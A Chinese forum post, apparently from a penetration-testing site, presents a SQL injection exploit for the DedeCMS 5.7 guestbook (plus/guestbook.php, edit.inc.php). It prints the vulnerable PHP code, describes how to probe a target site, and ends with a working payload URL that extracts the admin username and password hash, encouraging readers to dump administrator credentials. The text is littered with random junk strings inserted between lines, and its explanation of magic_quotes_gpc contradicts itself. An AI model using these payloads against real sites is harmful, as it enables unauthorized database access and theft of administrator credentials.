中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
8 K+ S- D6 F" M5 W& L
; ~7 A5 r1 p$ U' ?. p
漏洞文件edit.inc.php具体代码:
2 |; j% K* l, D; U. d
' M3 q% O% c3 Z8 }& W
< ?php
" N5 L+ W2 p( I3 W9 Q7 l6 o( S
# y& W8 N9 L! k7 }; q( X% b4 |- F
if(!defined('DEDEINC')) exit('Request Error!');
. }: K$ u( M# K5 d; X/ {- y
6 u* c% z2 H7 L7 d1 w
) R8 y" y- y7 p) s7 f+ W
$ r0 [# N0 _& P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
5 g; f% N: g# @5 y' O9 w
+ a0 }7 p1 b# g! m2 G: H5 W
else $GUEST_BOOK_POS = "guestbook.php";
) q9 {8 X% m+ G$ L' r7 Q
# u: G1 ^% U# C% a; i: N7 s
/ O9 d1 @/ c: {! R# d& \7 `* R' F
, w/ ~) y# N1 z+ }% t' O8 n
$id = intval($id);
' W, I7 w# G f3 _ H
' z: E# p2 z' b
if(empty($job)) $job='view';
/ r2 [" f1 k$ W# J6 F/ k# I
, w+ V" a5 q4 R- Z d
$ O- Z7 a. V' a8 s6 |, q
$ s; v! z* U+ `! C) [0 @8 ?
if($job=='del' && $g_isadmin)
" G" ^; S& m9 W0 m- t5 Z
) h. B( U& D* q; ~
{
$ l! V: n/ j2 G4 Y6 V- {
1 [8 Y$ l" z+ m+ C5 _* Z( ?
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
& u( s* P& Z* z, v/ S
9 C. H& d0 b! x, c
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
& T% g6 t7 }" V, Q- x
5 Z; {+ a8 f! i, K2 B
exit();
e0 L8 `: y5 e/ I6 S$ a5 v# c
r; I/ S3 h% J
}
0 o c+ ?( s! `# I) m" t0 ]8 ~
s" v$ H. o8 O7 D
else if($job=='check' && $g_isadmin)
; X4 g: ?& N/ t7 q4 @1 m6 I) K" i* C3 e
; ^- N7 r: |: v' f( [* u" w7 v/ Q7 b
{
6 d. e R; ?% ]$ W M6 o) C
' C' \. k- z3 b g- \2 }+ o
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
. m* G8 Z. O8 c% Q' ?3 Q5 W' R+ y& K2 ~4 M+ q
/ i. F/ O: Z- N
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
* a' ?8 D! ]$ m( f% }8 s
6 H1 D9 z6 V& Z6 G7 l7 m
exit();
; Q# y! T7 F& W$ e5 F8 @7 }
6 G W7 E: r5 W" Y
}
) Y+ W0 @0 _$ d8 l6 [3 ~5 i
+ w3 ]* ?8 o+ F) P
else if($job=='editok')
! Y; v/ s- ]$ v9 Z+ y: l, ?
% L0 B1 ~/ y: ]6 b% K
{
' V2 l+ Q3 i0 t! z& W v: K7 j
+ \' G1 s- `" R3 \( j
$remsg = trim($remsg);
: s0 ]) L. N/ d* Y! h1 B- }
, [7 k, e7 b3 M9 L( Y5 F' J
if($remsg!='')
8 P! e' F9 A' N G# k* y
) R" c& Q# s v# w
{
/ t R, v+ ~1 D! D
. ^$ N: U3 ~. m9 R1 d- ]: w
//管理员回复不过滤HTML By:Errorera blog:errs.cc
) ]; ?3 B7 x, Z0 b; `2 U9 q2 b3 L( @
" e' x) S& p* a( V
if($g_isadmin)
) M" q5 r0 _ U! i3 ?5 l
5 V# I% M' P/ d* y5 v
{
) k( C9 G9 l. V8 @. I+ ^# f Y) o
/ M0 g$ Q3 ~4 J
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
Y) k: a( b0 M9 D* `2 s* ?
( S* ^" @ P( Q3 n/ h
//$remsg <br /><font color=red>管理员回复:</font> }
6 n( [+ b" Z% H9 x/ a
# E. B5 Z% M2 w! b1 m: y6 ^& m( m8 B9 i
else
) z4 \# X/ R" A L4 x' L+ ] L
6 R" r5 x3 ~' e
{
& D$ a! c* f4 G n
/ A; A! v+ k# T8 u
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
6 R* D. ?! }$ L. B; }; K
+ {" D5 O- H/ m9 Y$ I, k* a& |9 c
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
0 S+ h# i, A' r% K6 I5 l# O
4 N" l2 W7 }6 c- \2 Y! e
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
, v3 a* W- K- D$ x) Y# ?
$ z8 o0 x1 K3 q$ ^) M
$msg = $oldmsg.$remsg;
/ R$ t2 B0 o) t, e9 g8 [* _5 z
- ^5 q' R) Q/ K) H
}
1 G. T5 g7 c0 ?4 F L+ S0 U
: A+ Z/ q4 o( ?
}
; C( y' s# j q4 i' `) i1 Z+ Y
e2 T& }* c8 B# [. F* Y P/ P" P6 M
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
" g, Z2 }" {) T' n8 T$ ?! L
! T' h& ~: R# T$ z' t* f
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
! k% l, X( C. m7 Q
& w/ q' }6 e. A. z! I
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
8 a5 {2 t- v* S* K& [: E
0 N! I, b: t$ O4 Q/ d; O1 A2 N
exit();
& t6 \# V$ C6 [ y8 C
5 c1 a9 y+ p" }6 k9 u, L! `
}
/ z+ R8 Q1 f' R2 m; J
6 J4 F3 i: v: ]9 z c: V& c' h
//home:
www.errs.cc
4 g2 b7 [: |- j6 h) \. M- I
& l4 n; C/ g% m! E ^0 E9 H4 T8 u/ E
if($g_isadmin)
4 I4 u" H: n6 `* T# O' ]/ ~, r
$ R2 a" A( T9 t9 s+ @; b* H
{
# y! J( h, @9 G. U( K
$ h" v$ e7 ~: \& R
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
2 F5 t$ e( Z ^
# n6 P$ _( y. j7 T' B& c3 `9 R
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
# M0 i: @ h9 {8 n# V
1 R$ z$ ^0 Y" o% ~4 z' `4 V
}
* W4 D4 E0 z8 h( |8 `+ |
5 \$ t$ _% }* v1 ^; Y7 p
else
0 X+ O7 K6 y6 |, s) b8 O
b* [" E; N% Y
{
0 F3 ^# _! K9 v3 G# i
. A8 n" W7 \+ u% Y y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
+ I. L9 j% R- N' u' A# N" ~
8 ~1 p4 y" z' H6 K# |. p+ U0 W
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
& r% I3 e" [$ l* r
- a3 R; O% G, E1 E t+ ]. O
} 漏洞成功需要条件:
$ o$ W! |# E9 I7 \8 |& P; J/ p: _
1. php magic_quotes_gpc=off
6 h5 s! q- M3 Y: q/ Q( @$ ]* ]2 b
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 X+ o% _/ r! M! o4 M
' t6 r: x" j7 B8 k( L" ^) g
怎么判断是否存在漏洞:
* X% [& Q( U7 T) Q4 p
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
" S4 g$ k! p4 U S5 k
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% r3 z& F* U: M* u% h' L3 E
访问:
0 o `# e7 }: E1 h, o' c. l
) O" |8 s' a+ ]6 d# R3 M9 f: ]
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, W! p( p: T" e
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! f! Y" E. n! v0 Z, Q
" g9 ] T* r0 z+ q7 q! q( Q
; z$ A# i. q, Y" Z, N
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! O- N; R! ~: H- i; o
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
i4 f9 n1 e5 c; u$ ?
那么再次访问
* P5 w: _8 ^, ? } F& |3 s% o- E
/ g9 \, _" @# P
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
1 x& \" f9 z; q6 I) N6 }8 M/ V
8 {5 R% y/ P9 D* b: o0 y9 @
大概利用就是这样,大家有兴趣的多研究下!!
0 _8 X h, \% w/ n
. {9 |7 o& r7 i3 o1 W" D) N3 |
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ B; R: Q" \4 x# D
9 f' P# q, V% [8 X S: e# }: G
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2